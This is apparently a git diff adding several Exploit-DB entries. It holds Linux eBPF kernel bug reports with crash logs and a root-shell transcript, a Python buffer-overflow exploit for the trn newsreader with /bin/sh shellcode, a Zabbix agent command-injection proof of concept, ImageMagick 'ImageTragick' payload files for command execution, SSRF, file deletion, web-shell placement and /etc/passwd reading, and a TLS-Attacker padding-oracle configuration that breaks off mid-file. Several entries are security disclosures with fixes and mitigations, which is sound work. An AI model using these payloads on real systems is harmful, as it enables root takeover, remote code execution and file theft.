Fixed in https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit?id=79c9ce57eb2d5f1497546a3946b4ae21b6fdc438
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39771.zip
|
||||
|
82
platforms/linux/dos/39773.txt
Executable file
82
platforms/linux/dos/39773.txt
Executable file
|
@ -0,0 +1,82 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=809
|
||||
|
||||
Most things in the kernel use 32-bit reference counters, relying on the
|
||||
fact that the memory constraints of real computers make it impossible to
|
||||
create enough references to overflow the counters. There are exceptions
|
||||
for things like `struct file` because it is possible to create references
|
||||
to them with relatively little memory usage.
|
||||
|
||||
Using BPF_MAP_TYPE_PROG_ARRAY maps, it is possible to create
|
||||
references to BPF programs that only need sizeof(void*) bytes each
|
||||
(8 bytes on amd64), permitting an overflow after filling ~32GB of memory
|
||||
that is subject to RLIMIT_MEMLOCK restrictions.
|
||||
|
||||
The requirement for more than 32GB of RAM is relatively high, but not
|
||||
impossible. The requirement that the allocations need to be below
|
||||
RLIMIT_MEMLOCK is probably the bigger obstacle for exploitation: On most
|
||||
Linux systems, every user is only permitted to allocate up to 64KiB of RAM.
|
||||
However:
|
||||
|
||||
- There are systems where RLIMIT_MEMLOCK is disabled administratively.
|
||||
- On systems with containers (e.g. LXC containers), usually every
|
||||
container's root user has access to 2^16 different UIDs. If an attacker
|
||||
has control over 9 containers and can share file descriptors between
|
||||
them or has control over one container with a relatively high number
|
||||
of mapped UIDs, he should be able to trigger the overflow.
|
||||
|
||||
The attached PoC, when run in a Ubuntu 16.04 VM with 40GB RAM and the
|
||||
RLIMIT_MEMLOCK limit disabled, needs 25 minutes to execute and causes the
|
||||
following oops:
|
||||
|
||||
[ 1850.676543] BUG: unable to handle kernel paging request at ffffc900069c5010
|
||||
[ 1850.676550] IP: [<ffffffff81173525>] bpf_prog_put_rcu+0x5/0x30
|
||||
[ 1850.676556] PGD 9bc094067 PUD 9bc095067 PMD 9b4d2b067 PTE 0
|
||||
[ 1850.676558] Oops: 0000 [#1] SMP
|
||||
[ 1850.676561] Modules linked in: nls_utf8 isofs vboxsf(OE) snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event joydev snd_rawmidi snd_seq snd_seq_device snd_timer input_leds snd serio_raw soundcore vboxvideo(OE) 8250_fintek drm i2c_piix4 vboxguest(OE) mac_hid parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci fjes video e1000 pata_acpi
|
||||
[ 1850.676579] CPU: 0 PID: 1861 Comm: overflow Tainted: G OE 4.4.0-21-generic #37-Ubuntu
|
||||
[ 1850.676581] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
|
||||
[ 1850.676582] task: ffff8809b2fe4b00 ti: ffff8809b2f3c000 task.ti: ffff8809b2f3c000
|
||||
[ 1850.676583] RIP: 0010:[<ffffffff81173525>] [<ffffffff81173525>] bpf_prog_put_rcu+0x5/0x30
|
||||
[ 1850.676585] RSP: 0018:ffff8809b2f3fdb8 EFLAGS: 00010286
|
||||
[ 1850.676586] RAX: ffffffff81a24f20 RBX: 0000000000000000 RCX: 0000000000000001
|
||||
[ 1850.676587] RDX: ffff880230ebc110 RSI: ffff880230ebc100 RDI: ffffc900069c5000
|
||||
[ 1850.676588] RBP: ffff8809b2f3fdc0 R08: 0000000000000000 R09: 0000000000000000
|
||||
[ 1850.676589] R10: ffff8809b55468e0 R11: ffff880230ebc110 R12: ffffc90814ce6060
|
||||
[ 1850.676590] R13: ffffc90814ce6000 R14: ffff8809b5a9d1a0 R15: ffff8809b29cf480
|
||||
[ 1850.676592] FS: 00007fbe54cf5700(0000) GS:ffff8809e3c00000(0000) knlGS:0000000000000000
|
||||
[ 1850.676593] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
|
||||
[ 1850.676594] CR2: ffffc900069c5010 CR3: 00000009ae9ce000 CR4: 00000000000006f0
|
||||
[ 1850.676598] Stack:
|
||||
[ 1850.676599] ffffffff8117810e ffff8809b2f3fde8 ffffffff811783c6 ffffc90814ce6000
|
||||
[ 1850.676600] 0000000000000008 ffff8809b55468e0 ffff8809b2f3fdf8 ffffffff811729bd
|
||||
[ 1850.676602] ffff8809b2f3fe10 ffffffff811733b9 ffff880230ebc100 ffff8809b2f3fe58
|
||||
[ 1850.676603] Call Trace:
|
||||
[ 1850.676607] [<ffffffff8117810e>] ? prog_fd_array_put_ptr+0xe/0x10
|
||||
[ 1850.676609] [<ffffffff811783c6>] bpf_fd_array_map_clear+0x36/0x50
|
||||
[ 1850.676611] [<ffffffff811729bd>] bpf_map_put_uref+0x1d/0x20
|
||||
[ 1850.676612] [<ffffffff811733b9>] bpf_map_release+0x19/0x30
|
||||
[ 1850.676616] [<ffffffff8120e514>] __fput+0xe4/0x220
|
||||
[ 1850.676617] [<ffffffff8120e68e>] ____fput+0xe/0x10
|
||||
[ 1850.676621] [<ffffffff8109e943>] task_work_run+0x73/0x90
|
||||
[ 1850.676625] [<ffffffff81083ba4>] do_exit+0x2e4/0xae0
|
||||
[ 1850.676626] [<ffffffff81084423>] do_group_exit+0x43/0xb0
|
||||
[ 1850.676628] [<ffffffff810844a4>] SyS_exit_group+0x14/0x20
|
||||
[ 1850.676632] [<ffffffff818244f2>] entry_SYSCALL_64_fastpath+0x16/0x71
|
||||
[ 1850.676633] Code: cf 00 55 48 89 e5 48 89 78 08 48 89 07 48 c7 47 08 60 55 e6 81 48 89 3d 4a 20 cf 00 5d c3 0f 1f 84 00 00 00 00 00 66 66 66 66 90 <48> 8b 47 10 3e ff 08 74 01 c3 55 48 8b 7f 10 48 c7 c6 20 2f 17
|
||||
[ 1850.676649] RIP [<ffffffff81173525>] bpf_prog_put_rcu+0x5/0x30
|
||||
[ 1850.676650] RSP <ffff8809b2f3fdb8>
|
||||
[ 1850.676651] CR2: ffffc900069c5010
|
||||
[ 1850.676653] ---[ end trace 90333448b9273067 ]---
|
||||
[ 1850.676655] Fixing recursive fault but reboot is needed!
|
||||
|
||||
I believe that this issue illustrates that reference count hardening
|
||||
makes sense, even without reference leaks.
|
||||
|
||||
A suggested patch (compile-tested) is attached.
|
||||
|
||||
Fixed in https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/kernel/bpf?id=92117d8443bc5afacc8d5ba82e541946310f106e
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39773.zip
|
||||
|
57
platforms/linux/local/39764.py
Executable file
57
platforms/linux/local/39764.py
Executable file
|
@ -0,0 +1,57 @@
|
|||
# Exploit developed using Exploit Pack v5.4
|
||||
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
|
||||
# Program affected: Threaded USENET news reader
|
||||
# Version: 3.6-23
|
||||
#
|
||||
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
|
||||
# Program description: Threaded USENET news reader, based on rn
|
||||
# trn is the most widely-used newsreader on USENET
|
||||
# Kali Linux 2.0 package: pool/non-free/t/trn/trn_3.6-23_i386.deb
|
||||
# MD5sum: 57782e66c4bf127af0d252db9439fbdf
|
||||
# Website: https://sourceforge.net/projects/trn/
|
||||
#
|
||||
# gdb$ run $(python -c 'print "A"*156+"DCBA"')
|
||||
# Starting program: /usr/bin/trn $(python -c 'print "A"*156+"DCBA"')
|
||||
#
|
||||
# Program received signal SIGSEGV, Segmentation fault.
|
||||
# --------------------------------------------------------------------------[regs]
|
||||
# EAX: 0x00000000 EBX: 0x41414141 ECX: 0x00000000 EDX: 0x0809040C o d I t S z a p c
|
||||
# ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFFFED60 EIP: 0x41424344
|
||||
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
|
||||
# Cannot access memory at address 0x41424344
|
||||
# 0x41424344 in ?? ()
|
||||
|
||||
|
||||
import os, subprocess
|
||||
|
||||
def run():
|
||||
try:
|
||||
print "# TRN Threaded Reader - Stack Buffer Overflow by Juan Sacco"
|
||||
print "# This Exploit has been developed using Exploit Pack"
|
||||
# NOPSLED + SHELLCODE + EIP
|
||||
|
||||
buffersize = 160
|
||||
nopsled = "\x90"*132
|
||||
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
|
||||
eip = "\xd0\xec\xff\xbf"
|
||||
buffer = nopsled * (buffersize-len(shellcode)) + eip
|
||||
subprocess.call(["trn ",' ', buffer])
|
||||
|
||||
except OSError as e:
|
||||
if e.errno == os.errno.ENOENT:
|
||||
print "Sorry, Threaded Reader - Not found!"
|
||||
else:
|
||||
print "Error executing exploit"
|
||||
raise
|
||||
|
||||
def howtousage():
|
||||
print "Snap! Something went wrong"
|
||||
sys.exit(-1)
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
print "Exploit TRN 3.6-23 Local Overflow Exploit"
|
||||
print "Author: Juan Sacco - Exploit Pack"
|
||||
except IndexError:
|
||||
howtousage()
|
||||
run()
|
91
platforms/linux/local/39769.txt
Executable file
91
platforms/linux/local/39769.txt
Executable file
|
@ -0,0 +1,91 @@
|
|||
CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection
|
||||
--------------------------------------------------------------------
|
||||
|
||||
Affected products
|
||||
=================
|
||||
|
||||
At least Zabbix Agent 1:3.0.1-1+wheezy from
|
||||
http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions
|
||||
were not tested.
|
||||
|
||||
Background
|
||||
==========
|
||||
|
||||
"Zabbix agent is deployed on a monitoring target to actively monitor
|
||||
local resources and applications (hard drives, memory, processor
|
||||
statistics etc).
|
||||
|
||||
The agent gathers operational information locally and reports data to
|
||||
Zabbix server for further processing. In case of failures (such as a
|
||||
hard disk running full or a crashed service process), Zabbix server
|
||||
can actively alert the administrators of the particular machine that
|
||||
reported the failure.
|
||||
|
||||
Zabbix agents are extremely efficient because of use of native system
|
||||
calls for gathering statistical information."
|
||||
|
||||
-- https://www.zabbix.com/documentation/3.0/manual/concepts/agent
|
||||
|
||||
Description
|
||||
===========
|
||||
|
||||
Zabbix agent listens on port 10050 for connections from the Zabbix
|
||||
server. The commands can be built-in or user-defined.
|
||||
|
||||
The mysql.size user parameter defined in
|
||||
/etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf takes three input
|
||||
parameters and uses a shell script to generate an SQL query:
|
||||
|
||||
UserParameter=mysql.size[*],echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema='$1'")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name='$2'");" | HOME=/var/lib/zabbix mysql -N
|
||||
|
||||
The code assumes that /bin/sh is bash that supports the [[ compound
|
||||
command. However, if /bin/sh is for example dash the statement
|
||||
|
||||
[[ "$1" = "all" || ! "$1" ]]
|
||||
|
||||
ends up executing the command "$1" with the argument "]]".
|
||||
|
||||
Exploit
|
||||
=======
|
||||
|
||||
Zabbix sanitizes the input and blocks many dangerous characters
|
||||
("\\'\"`*?[]{}~$!&;()<>|#@\n"). Since we cannot use quotes we cannot
|
||||
give our shell commands any parameters which significantly reduces the
|
||||
impact of this vulnerability. If you find a way to execute arbitrary
|
||||
commands using this flaw I'd be really interested in the details. The
|
||||
following proof-of-concept shows how the vulnerability can be used
|
||||
escalate privileges locally:
|
||||
|
||||
$ echo -en '#!/bin/bash\necho "This code is running as $(id)" 1>&2\n' > /tmp/owned
|
||||
$ chmod a+rx /tmp/owned
|
||||
$ echo 'mysql.size[/tmp/owned,all,both]' | nc localhost 10050 | cat -A
|
||||
ZBXD^AM-^O^@^@^@^@^@^@^@sh: 1: [[: not found$
|
||||
This code is running as uid=110(zabbix) gid=114(zabbix) groups=114(zabbix)$
|
||||
sh: 1: [[: not found$
|
||||
sh: 1: all: not found$
|
||||
|
||||
The exploit of course assumes that the Server line in the
|
||||
configuration includes "127.0.0.1". If the agent is configured to
|
||||
accept connections only from the Zabbix server. In that case this
|
||||
issue can only be exploited from the server or by spoofing the IP
|
||||
address of the server (with for example ARP spoofing).
|
||||
|
||||
Since output of the command is piped to mysql it might be possible to
|
||||
also execute some SQL commands in the database.
|
||||
|
||||
Author
|
||||
======
|
||||
|
||||
This issue was discovered by Timo Lindfors from Nixu Corporation.
|
||||
|
||||
Timeline
|
||||
========
|
||||
|
||||
2016-04-19: Issue discovered and reported internally for verification.
|
||||
2016-04-21: Issue reported to vendor.
|
||||
2016-04-22: Vendor acknowledges vulnerability and starts patching.
|
||||
2016-04-26: Asked status update from vendor.
|
||||
2016-04-26: Vendor responds that the issue is still being patched.
|
||||
2016-04-26: CVE requested from MITRE.
|
||||
2016-04-28: MITRE assigned CVE-2016-4338 for this vulnerability.
|
||||
2016-05-02: Vendor published details in the issue tracker https://support.zabbix.com/browse/ZBX-10741
|
129
platforms/linux/local/39772.txt
Executable file
129
platforms/linux/local/39772.txt
Executable file
|
@ -0,0 +1,129 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
|
||||
|
||||
In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
|
||||
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
|
||||
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
|
||||
These conditions are fulfilled in Ubuntu 16.04.
|
||||
|
||||
When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
|
||||
function that touches the supplied eBPF instructions is
|
||||
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
|
||||
map file descriptors and looks up pointers for the corresponding map files.
|
||||
This is done as follows:
|
||||
|
||||
/* look for pseudo eBPF instructions that access map FDs and
|
||||
* replace them with actual map pointers
|
||||
*/
|
||||
static int replace_map_fd_with_map_ptr(struct verifier_env *env)
|
||||
{
|
||||
struct bpf_insn *insn = env->prog->insnsi;
|
||||
int insn_cnt = env->prog->len;
|
||||
int i, j;
|
||||
|
||||
for (i = 0; i < insn_cnt; i++, insn++) {
|
||||
[checks for bad instructions]
|
||||
|
||||
if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
|
||||
struct bpf_map *map;
|
||||
struct fd f;
|
||||
|
||||
[checks for bad instructions]
|
||||
|
||||
f = fdget(insn->imm);
|
||||
map = __bpf_map_get(f);
|
||||
if (IS_ERR(map)) {
|
||||
verbose("fd %d is not pointing to valid bpf_map\n",
|
||||
insn->imm);
|
||||
fdput(f);
|
||||
return PTR_ERR(map);
|
||||
}
|
||||
|
||||
[...]
|
||||
}
|
||||
}
|
||||
[...]
|
||||
}
|
||||
|
||||
|
||||
__bpf_map_get contains the following code:
|
||||
|
||||
/* if error is returned, fd is released.
|
||||
* On success caller should complete fd access with matching fdput()
|
||||
*/
|
||||
struct bpf_map *__bpf_map_get(struct fd f)
|
||||
{
|
||||
if (!f.file)
|
||||
return ERR_PTR(-EBADF);
|
||||
if (f.file->f_op != &bpf_map_fops) {
|
||||
fdput(f);
|
||||
return ERR_PTR(-EINVAL);
|
||||
}
|
||||
|
||||
return f.file->private_data;
|
||||
}
|
||||
|
||||
The problem is that when the caller supplies a file descriptor number referring
|
||||
to a struct file that is not an eBPF map, both __bpf_map_get() and
|
||||
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
|
||||
__fget_light() detected that the file descriptor table is shared with another
|
||||
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
|
||||
the reference count of the struct file to be over-decremented, allowing an
|
||||
attacker to create a use-after-free situation where a struct file is freed
|
||||
although there are still references to it.
|
||||
|
||||
A simple proof of concept that causes oopses/crashes on a kernel compiled with
|
||||
memory debugging options is attached as crasher.tar.
|
||||
|
||||
|
||||
One way to exploit this issue is to create a writable file descriptor, start a
|
||||
write operation on it, wait for the kernel to verify the file's writability,
|
||||
then free the writable file and open a readonly file that is allocated in the
|
||||
same place before the kernel writes into the freed file, allowing an attacker
|
||||
to write data to a readonly file. By e.g. writing to /etc/crontab, root
|
||||
privileges can then be obtained.
|
||||
|
||||
There are two problems with this approach:
|
||||
|
||||
The attacker should ideally be able to determine whether a newly allocated
|
||||
struct file is located at the same address as the previously freed one. Linux
|
||||
provides a syscall that performs exactly this comparison for the caller:
|
||||
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).
|
||||
|
||||
In order to make exploitation more reliable, the attacker should be able to
|
||||
pause code execution in the kernel between the writability check of the target
|
||||
file and the actual write operation. This can be done by abusing the writev()
|
||||
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
|
||||
read accesses, then mmap()s a file containing a struct iovec from that FUSE
|
||||
filesystem and passes the result of mmap() to writev(). (Another way to do this
|
||||
would be to use the userfaultfd() syscall.)
|
||||
|
||||
writev() calls do_writev(), which looks up the struct file * corresponding to
|
||||
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
|
||||
that the target file is writable, then calls do_readv_writev(), which first
|
||||
copies the struct iovec from userspace using import_iovec(), then performs the
|
||||
rest of the write operation. Because import_iovec() performs a userspace memory
|
||||
access, it may have to wait for pages to be faulted in - and in this case, it
|
||||
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
|
||||
allowing the attacker to suspend code execution in the kernel at that point
|
||||
arbitrarily.
|
||||
|
||||
An exploit that puts all this together is in exploit.tar. Usage:
|
||||
|
||||
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
|
||||
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
|
||||
starting writev
|
||||
woohoo, got pointer reuse
|
||||
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
|
||||
suid file detected, launching rootshell...
|
||||
we have root privs now...
|
||||
root@host:~/ebpf_mapfd_doubleput# id
|
||||
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
|
||||
|
||||
This exploit was tested on a Ubuntu 16.04 Desktop system.
|
||||
|
||||
Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7
|
||||
|
||||
|
||||
Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
|
||||
E-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip
|
||||
|
192
platforms/multiple/dos/39767.txt
Executable file
192
platforms/multiple/dos/39767.txt
Executable file
|
@ -0,0 +1,192 @@
|
|||
Nikolay Ermishkin from the Mail.Ru Security Team discovered several
|
||||
vulnerabilities in ImageMagick.
|
||||
We've reported these issues to developers of ImageMagick and they made a
|
||||
fix for RCE in sources and released new version (6.9.3-9 released
|
||||
2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this
|
||||
fix seems to be incomplete. We are still working with developers.
|
||||
|
||||
ImageMagick: Multiple vulnerabilities in image decoder
|
||||
|
||||
1. CVE-2016-3714 - Insufficient shell characters filtering leads to
|
||||
(potentially remote) code execution
|
||||
|
||||
Insufficient filtering for filename passed to delegate's command allows
|
||||
remote code execution during conversion of several file formats.
|
||||
|
||||
ImageMagick allows to process files with external libraries. This
|
||||
feature is called 'delegate'. It is implemented as a system() with
|
||||
command string ('command') from the config file delegates.xml with
|
||||
actual value for different params (input/output filenames etc). Due to
|
||||
insufficient %M param filtering it is possible to conduct shell command
|
||||
injection. One of the default delegate's command is used to handle https
|
||||
requests:
|
||||
"wget" -q -O "%o" "https:%M"
|
||||
where %M is the actual link from the input. It is possible to pass the
|
||||
value like `https://example.com"|ls "-la` and execute unexpected 'ls
|
||||
-la'. (wget or curl should be installed)
|
||||
|
||||
$ convert 'https://example.com"|ls "-la' out.png
|
||||
total 32
|
||||
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
|
||||
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
|
||||
...
|
||||
|
||||
|
||||
The most dangerous part is ImageMagick supports several formats like
|
||||
svg, mvg (thanks to https://hackerone.com/stewie for his research of
|
||||
this file format and idea of the local file read vulnerability in
|
||||
ImageMagick, see below), maybe some others - which allow to include
|
||||
external files from any supported protocol including delegates. As a
|
||||
result, any service, which uses ImageMagick to process user supplied
|
||||
images and uses default delegates.xml / policy.xml, may be vulnerable to
|
||||
this issue.
|
||||
|
||||
exploit.mvg
|
||||
-=-=-=-=-=-=-=-=-
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://example.com/image.jpg"|ls "-la)'
|
||||
pop graphic-context
|
||||
|
||||
exploit.svg
|
||||
-=-=-=-=-=-=-=-=-
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
|
||||
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg width="640px" height="480px" version="1.1"
|
||||
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
|
||||
"http://www.w3.org/1999/xlink">
|
||||
<image xlink:href="https://example.com/image.jpg"|ls "-la"
|
||||
x="0" y="0" height="640px" width="480px"/>
|
||||
</svg>
|
||||
|
||||
$ convert exploit.mvg out.png
|
||||
total 32
|
||||
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
|
||||
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
|
||||
...
|
||||
|
||||
ImageMagick tries to guess the type of the file by it's content, so
|
||||
exploitation doesn't depend on the file extension. You can rename
|
||||
exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In
|
||||
addition, ImageMagick's tool 'identify' is also vulnerable, so it can't
|
||||
be used as a protection to filter file by it's content and creates
|
||||
additional attack vectors (e.g. via 'less exploit.jpg', because
|
||||
'identify' is invoked via lesspipe.sh).
|
||||
Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16
|
||||
x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest
|
||||
sources from 6 and 7 branches all are vulnerable. Ghostscript and wget
|
||||
(or curl) should be installed on the system for successful PoC
|
||||
execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.
|
||||
|
||||
All other issues also rely on dangerous ImageMagick feature of external
|
||||
files inclusion from any supported protocol in formats like svg and mvg.
|
||||
|
||||
2. CVE-2016-3718 - SSRF
|
||||
It is possible to make HTTP GET or FTP request:
|
||||
|
||||
ssrf.mvg
|
||||
-=-=-=-=-=-=-=-=-
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(http://example.com/)'
|
||||
pop graphic-context
|
||||
|
||||
$ convert ssrf.mvg out.png # makes http request to example.com
|
||||
|
||||
3. CVE-2016-3715 - File deletion
|
||||
It is possible to delete files by using ImageMagick's 'ephemeral' pseudo
|
||||
protocol which deletes files after reading:
|
||||
|
||||
delete_file.mvg
|
||||
-=-=-=-=-=-=-=-=-
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
|
||||
popgraphic-context
|
||||
|
||||
$ touch /tmp/delete.txt
|
||||
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt
|
||||
|
||||
4. CVE-2016-3716 - File moving
|
||||
It is possible to move image files to file with any extension in any
|
||||
folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and
|
||||
image.gif should exist in known location - /tmp/ for PoC (in real life
|
||||
it may be web service written in PHP, which allows to upload raw txt
|
||||
files and process images with ImageMagick):
|
||||
|
||||
file_move.mvg
|
||||
-=-=-=-=-=-=-=-=-
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
image over 0,0 0,0 'msl:/tmp/msl.txt'
|
||||
popgraphic-context
|
||||
|
||||
/tmp/msl.txt
|
||||
-=-=-=-=-=-=-=-=-
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<image>
|
||||
<read filename="/tmp/image.gif" />
|
||||
<write filename="/var/www/shell.php" />
|
||||
</image>
|
||||
|
||||
/tmp/image.gif - image with php shell inside
|
||||
(https://www.secgeek.net/POC/POC.gif for example)
|
||||
|
||||
$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php
|
||||
|
||||
5. CVE-2016-3717 - Local file read (independently reported by original
|
||||
research author - https://hackerone.com/stewie)
|
||||
It is possible to get content of the files from the server by using
|
||||
ImageMagick's 'label' pseudo protocol:
|
||||
|
||||
file_read.mvg
|
||||
-=-=-=-=-=-=-=-=-
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
image over 0,0 0,0 'label:@...c/passwd'
|
||||
pop graphic-context
|
||||
|
||||
$ convert file_read.mvg out.png # produces file with text rendered from
|
||||
/etc/passwd
|
||||
|
||||
|
||||
How to mitigate the vulnerability.
|
||||
|
||||
Available patches appear to be incomplete.
|
||||
If you use ImageMagick or an affected library, we recommend you mitigate
|
||||
the known vulnerabilities by doing at least one these two things (but
|
||||
preferably both!):
|
||||
1. Verify that all image files begin with the expected <20>magic bytes<65>
|
||||
corresponding to the image file types you support before sending them to
|
||||
ImageMagick for processing. (see FAQ for more info)
|
||||
2. Use a policy file to disable the vulnerable ImageMagick coders. The
|
||||
global policy for ImageMagick is usually found in <20>/etc/ImageMagick<63>.
|
||||
This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and
|
||||
MSL:
|
||||
|
||||
<policymap>
|
||||
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
|
||||
<policy domain="coder" rights="none" pattern="URL" />
|
||||
<policy domain="coder" rights="none" pattern="HTTPS" />
|
||||
<policy domain="coder" rights="none" pattern="MVG" />
|
||||
<policy domain="coder" rights="none" pattern="MSL" />
|
||||
</policymap>
|
||||
|
||||
|
||||
Vulnerability Disclosure Timeline:
|
||||
April, 21 2016 - file read vulnerability report for one of My.Com
|
||||
services from https://hackerone.com/stewie received by Mail.Ru Security
|
||||
Team. Issue is reportedly known to ImageMagic team.
|
||||
April, 21 2016 - file read vulnerability patched by My.Com development team
|
||||
April, 28 2016 - code execution vulnerability in ImageMagick was found
|
||||
by Nikolay Ermishkin from Mail.Ru Security Team while researching
|
||||
original report
|
||||
April, 30 2016 - code execution vulnerability reported to ImageMagick
|
||||
development team
|
||||
April, 30 2016 - code execution vulnerability fixed by ImageMagick
|
||||
(incomplete fix)
|
||||
April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
|
||||
May, 1 2016 - ImageMagic informed of the fix bypass
|
||||
May, 2 2016 - limited disclosure to 'distros' mailing list
|
||||
May, 3 2016 - public disclosure at https://imagetragick.com/
|
76
platforms/multiple/dos/39768.txt
Executable file
76
platforms/multiple/dos/39768.txt
Executable file
|
@ -0,0 +1,76 @@
|
|||
Source: http://web-in-security.blogspot.ca/2016/05/curious-padding-oracle-in-openssl-cve.html
|
||||
|
||||
TLS-Attacker:
|
||||
https://github.com/RUB-NDS/TLS-Attacker
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39768.zip
|
||||
|
||||
|
||||
You can use TLS-Attacker to build a proof of concept and test your implementation. You just start TLS-Attacker as follows:
|
||||
java -jar TLS-Attacker-1.0.jar client -workflow_input rsa-overflow.xml -connect $host:$port
|
||||
|
||||
The xml configuration file (rsa-overflow.xml) looks then as follows:
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<workflowTrace>
|
||||
<protocolMessages>
|
||||
<ClientHello>
|
||||
<messageIssuer>CLIENT</messageIssuer>
|
||||
<includeInDigest>true</includeInDigest>
|
||||
<extensions>
|
||||
<EllipticCurves>
|
||||
<supportedCurvesConfig>SECP192R1</supportedCurvesConfig>
|
||||
<supportedCurvesConfig>SECP256R1</supportedCurvesConfig>
|
||||
<supportedCurvesConfig>SECP384R1</supportedCurvesConfig>
|
||||
<supportedCurvesConfig>SECP521R1</supportedCurvesConfig>
|
||||
</EllipticCurves>
|
||||
</extensions>
|
||||
<supportedCompressionMethods>
|
||||
<CompressionMethod>NULL</CompressionMethod>
|
||||
</supportedCompressionMethods>
|
||||
<supportedCipherSuites>
|
||||
<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA</CipherSuite>
|
||||
<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA</CipherSuite>
|
||||
<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA256</CipherSuite>
|
||||
<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA256</CipherSuite>
|
||||
</supportedCipherSuites>
|
||||
</ClientHello>
|
||||
<ServerHello>
|
||||
<messageIssuer>SERVER</messageIssuer>
|
||||
</ServerHello>
|
||||
<Certificate>
|
||||
<messageIssuer>SERVER</messageIssuer>
|
||||
</Certificate>
|
||||
<ServerHelloDone>
|
||||
<messageIssuer>SERVER</messageIssuer>
|
||||
</ServerHelloDone>
|
||||
<RSAClientKeyExchange>
|
||||
<messageIssuer>CLIENT</messageIssuer>
|
||||
</RSAClientKeyExchange>
|
||||
<ChangeCipherSpec>
|
||||
<messageIssuer>CLIENT</messageIssuer>
|
||||
</ChangeCipherSpec>
|
||||
<Finished>
|
||||
<messageIssuer>CLIENT</messageIssuer>
|
||||
<records>
|
||||
<Record>
|
||||
<plainRecordBytes>
|
||||
<byteArrayExplicitValueModification>
|
||||
<explicitValue>
|
||||
3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
|
||||
